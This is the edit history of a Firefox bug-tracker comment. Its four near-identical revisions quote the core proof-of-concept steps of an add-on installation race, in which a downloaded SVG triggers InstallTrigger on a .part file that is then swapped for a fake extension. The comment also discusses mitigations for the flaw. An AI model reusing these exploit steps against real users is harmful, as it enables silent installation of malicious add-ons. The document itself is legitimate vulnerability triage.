Bug 1752888 Comment 6 Edit History

Note: The actual edited comment in the bug view page will always show the original commenter’s name and original timestamp.

Ugh, thank you for the detailed explanation.

These are the main steps copied from PoC:

>    // Start extension download. This creates a `.part` file in the download dir
>    download(`/${filename}?fetch=real.xpi&control`)
>    // Wait until `.part` file contains entire extension
>    await waitForMessage('stream.sent');
>    // Download helper SVG which auto-opens and prompts to install the `.part` file as extension
>    download(URL.createObjectURL(svg), 'installer.svg')
>    // Allow some time for install prompt to pop up. Increase as necessary
>    await sleep(1);
>    // Close stream, so the download completes and `.part` file disappears
>    registration.active.postMessage('stream.close');
>    // Download fake extension in place of previous `.part` file
>    download(`/${filename}.part?fetch=fake.xpi`)
>    // If the user now confirms the dialog, they are installing the fake addon

The main trigger here is that the SVG's script triggers an install from a local xpi file in the same directory:
>        InstallTrigger.install([{URL: "${filename}.part"}])

> Would using a strong random number generator for the part file name help against this attack?
It looks like yes that would impede the main vector here, though we have a number of other things we should improve as well.

We should obviously confirm that the addon.xpi is not swapped between the prompt and installation.  Another could probably be disallowing `InstallTrigger` from `file://` URIs.
Ugh, thank you for the detailed explanation.

These are the main steps copied from PoC:

>    // Start extension download. This creates a `.part` file in the download dir
>    download(`/${filename}?fetch=real.xpi&control`)
>    // Wait until `.part` file contains entire extension
>    await waitForMessage('stream.sent');
>    // Download helper SVG which auto-opens and prompts to install the `.part` file as extension
>    download(URL.createObjectURL(svg), 'installer.svg')
>    // Allow some time for install prompt to pop up. Increase as necessary
>    await sleep(1);
>    // Close stream, so the download completes and `.part` file disappears
>    registration.active.postMessage('stream.close');
>    // Download fake extension in place of previous `.part` file
>    download(`/${filename}.part?fetch=fake.xpi`)
>    // If the user now confirms the dialog, they are installing the fake addon

The main trigger here is that the SVG's script triggers an install from a local xpi file with a known name in the same directory:
>  InstallTrigger.install([{URL: "${filename}.part"}])

> Would using a strong random number generator for the part file name help against this attack?
It looks like yes that would impede the main vector here, though we have a number of other things we should improve as well.

We should obviously confirm that the addon.xpi is not swapped between the prompt and installation.  Another could probably be disallowing `InstallTrigger` from `file://` URIs.
[edit: midair, mostly saying similar things as Dan and Shane]

These are the main steps copied from PoC:

>    // Start extension download. This creates a `.part` file in the download dir
>    download(`/${filename}?fetch=real.xpi&control`)
>    // Wait until `.part` file contains entire extension
>    await waitForMessage('stream.sent');
>    // Download helper SVG which auto-opens and prompts to install the `.part` file as extension
>    download(URL.createObjectURL(svg), 'installer.svg')
>    // Allow some time for install prompt to pop up. Increase as necessary
>    await sleep(1);
>    // Close stream, so the download completes and `.part` file disappears
>    registration.active.postMessage('stream.close');
>    // Download fake extension in place of previous `.part` file
>    download(`/${filename}.part?fetch=fake.xpi`)
>    // If the user now confirms the dialog, they are installing the fake addon

The main trigger here is that the SVG's script triggers an install from a local xpi file with a known name in the same directory:
>  InstallTrigger.install([{URL: "${filename}.part"}])

> Would using a strong random number generator for the part file name help against this attack?

It looks like yes that would impede the main vector here, though we have a number of other things we should improve as well.

We should obviously confirm that the addon.xpi is not swapped between the prompt and installation.  Another could probably be disallowing `InstallTrigger` from `file://` URIs.
[edit: midair, mostly saying similar things as Dan and Shane]

These are the main steps copied from PoC:

    // Start extension download. This creates a `.part` file in the download dir
    download(`/${filename}?fetch=real.xpi&control`)
    // Wait until `.part` file contains entire extension
    await waitForMessage('stream.sent');
    // Download helper SVG which auto-opens and prompts to install the `.part` file as extension
    download(URL.createObjectURL(svg), 'installer.svg')
    // Allow some time for install prompt to pop up. Increase as necessary
    await sleep(1);
    // Close stream, so the download completes and `.part` file disappears
    registration.active.postMessage('stream.close');
    // Download fake extension in place of previous `.part` file
    download(`/${filename}.part?fetch=fake.xpi`)
    // If the user now confirms the dialog, they are installing the fake addon

The main trigger here is that the SVG's script starts an install from a local xpi file with a known name in the same directory:
``` InstallTrigger.install([{URL: "${filename}.part"}]) ```

> Would using a strong random number generator for the part file name help against this attack?

It looks like yes that would impede the main vector here, though we have a number of other things we should improve as well.

We should obviously confirm that the addon.xpi is not swapped between the prompt and installation.  Another could probably be disallowing `InstallTrigger` from `file://` URIs.

Back to Bug 1752888 Comment 6